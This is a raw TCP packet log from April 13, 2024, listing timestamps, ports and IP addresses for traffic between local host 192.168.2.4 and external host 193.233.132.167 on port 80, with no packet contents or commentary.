Apr 13, 2024 20:21:23.045717955 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:23.045728922 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:23.045757055 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:23.045769930 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:23.045794964 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:23.045806885 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:23.045834064 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:23.045842886 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:23.045872927 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:23.045882940 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:23.045911074 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:23.045922995 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:23.045949936 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:23.045960903 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:23.045985937 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:23.045986891 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:23.046024084 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:23.046036005 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:23.046062946 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:23.046067953 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:23.046099901 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:23.046118021 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:23.046138048 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:23.046144009 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:23.046175957 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:23.046186924 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:23.046214104 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:23.046224117 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:23.046252012 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:23.046262980 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:23.046288967 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:23.046299934 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:23.046325922 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:23.046339035 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:23.046363115 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:23.046375036 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:23.046401024 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:23.046410084 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:23.046438932 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:23.046447039 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:23.046475887 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:23.046484947 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:23.046514034 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:23.046516895 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:23.046551943 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:23.046557903 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:23.046593904 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:23.046602011 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:23.046631098 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:23.046643972 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:23.046669006 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:23.046683073 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:23.046709061 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:23.046719074 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:23.046746969 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:23.046756983 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:23.046785116 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:23.046796083 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:23.046822071 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:23.046833992 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:23.046859980 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:23.046870947 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:23.046899080 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:23.046907902 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:23.046936035 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:23.046947956 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:23.046974897 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:23.046986103 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:23.047013044 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:23.047017097 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:23.047055960 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:23.047058105 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:23.047094107 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:23.047097921 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:23.047131062 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:23.047137976 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:23.047168016 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:23.047180891 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:23.047204971 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:23.047215939 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:23.047243118 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:23.047255993 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:23.047281027 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:23.047292948 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:23.047317982 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:23.047329903 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:23.047355890 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:23.047368050 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:23.047394037 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:23.047405005 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:23.047431946 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:23.047445059 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:23.047470093 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:23.047482014 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:23.047508955 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:23.047513008 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:23.047548056 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:23.047559977 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:23.047584057 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:23.047596931 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:23.047621965 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:23.047633886 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:23.047658920 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:23.047672033 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:23.047698975 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:23.047707081 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:23.047736883 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:23.047749043 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:23.047775030 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:23.047786951 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:23.047812939 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:23.047825098 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:23.047851086 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:23.047863007 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:23.047888994 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:23.047900915 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:23.047926903 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:23.047939062 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:23.047965050 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:23.047969103 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:23.048001051 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:23.048015118 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:23.048038960 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:23.048051119 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:23.048074961 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:23.048086882 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:23.048111916 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:23.048125029 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:23.048149109 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:23.048161983 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:23.048187971 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:23.048197985 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:23.048238993 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:23.048245907 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:23.048284054 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:23.048295975 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:23.048321009 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:23.048331976 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:23.048358917 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:23.048368931 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:23.048396111 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:23.048408031 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:23.048434019 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:23.048446894 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:23.048471928 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:23.048475981 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:23.048508883 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:23.048521042 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:23.048547983 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:23.048557997 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:23.048583984 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:23.048594952 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:23.048623085 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:23.048634052 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:23.048661947 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:23.048672915 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:23.048701048 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:23.048712015 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:23.048738956 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:23.048774958 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:23.048789978 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:23.048811913 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:23.048819065 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:23.048849106 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:23.048885107 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:23.048902035 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:23.048923016 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:23.048959970 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:23.048976898 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:23.048996925 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:23.049000978 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:23.049035072 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:23.049071074 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:23.049088955 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:23.049108028 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:23.049120903 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:23.049145937 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:23.049182892 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:23.049199104 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:23.049218893 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:23.049232960 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:23.049256086 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:23.049292088 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:23.049307108 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:23.049329042 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:23.049365997 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:23.049381018 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:23.049405098 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:23.049415112 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:23.049444914 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:23.049480915 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:23.049499989 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:23.049521923 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:23.049525023 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:23.049559116 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:23.049595118 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:23.049604893 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:23.049633980 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:23.049678087 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:23.364967108 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:23.365057945 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:23.380347013 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:23.380414009 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:23.380455971 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:23.380495071 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:23.380532026 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:23.380573034 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:23.380610943 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:23.380656004 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:23.380691051 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:23.380691051 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:23.380692005 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:23.380692005 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:23.380693913 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:23.380692005 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:23.380733013 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:23.380738020 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:23.380774021 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:23.380805969 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:23.380816936 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:23.380830050 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:23.380857944 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:23.380886078 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:23.380896091 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:23.380923986 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:23.380934954 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:23.380963087 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:23.380975962 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:23.380985975 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:23.381016016 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:23.381026983 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:23.381055117 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:23.381089926 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:23.381094933 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:23.381100893 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:23.381146908 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:23.381453037 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:23.381494999 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:23.381531000 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:23.381532907 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:23.381541014 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:23.381572962 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:23.381581068 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:23.381612062 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:23.381628990 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:23.381649971 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:23.381741047 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:23.392312050 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:23.392373085 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:23.392414093 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:23.392472982 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:23.392503977 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:23.392710924 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:23.392754078 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:23.392790079 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:23.392827988 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:23.392827988 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:23.392857075 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:23.392867088 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:23.392884016 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:23.392906904 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:23.392918110 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:23.392950058 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:23.392963886 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:23.392992020 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:23.393028975 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:23.393047094 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:23.393069983 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:23.393079996 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:23.393110037 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:23.393112898 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:23.393148899 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:23.393177032 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:23.393189907 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:23.393207073 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:23.393232107 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:23.393270016 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:23.393286943 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:23.393306971 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:23.393316984 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:23.393347979 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:23.393364906 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:23.393388033 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:23.393402100 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:23.393428087 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:23.393465042 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:23.393482924 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:23.393503904 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:23.393522978 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:23.393543005 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:23.393562078 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:23.393580914 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:23.393616915 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:23.393635988 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:23.393654108 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:23.393670082 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:23.393693924 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:23.393702984 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:23.393733978 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:23.393755913 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:23.393771887 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:23.393780947 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:23.393812895 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:23.393834114 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:23.393851042 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:23.393865108 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:23.393889904 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:23.393903971 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:23.393929005 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:23.393966913 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:23.393985987 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:23.394005060 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:23.394018888 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:23.394042969 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:23.394052029 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:23.394083023 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:23.394095898 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:23.394123077 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:23.394133091 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:23.394160986 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:23.394198895 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:23.394215107 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:23.394241095 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:23.394247055 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:23.394279003 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:23.394299984 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:23.394316912 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:23.394331932 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:23.394356012 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:23.394367933 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:23.394393921 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:23.394433022 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:23.394454002 CEST	49749	80	192.168.2.4	193.233.132.167
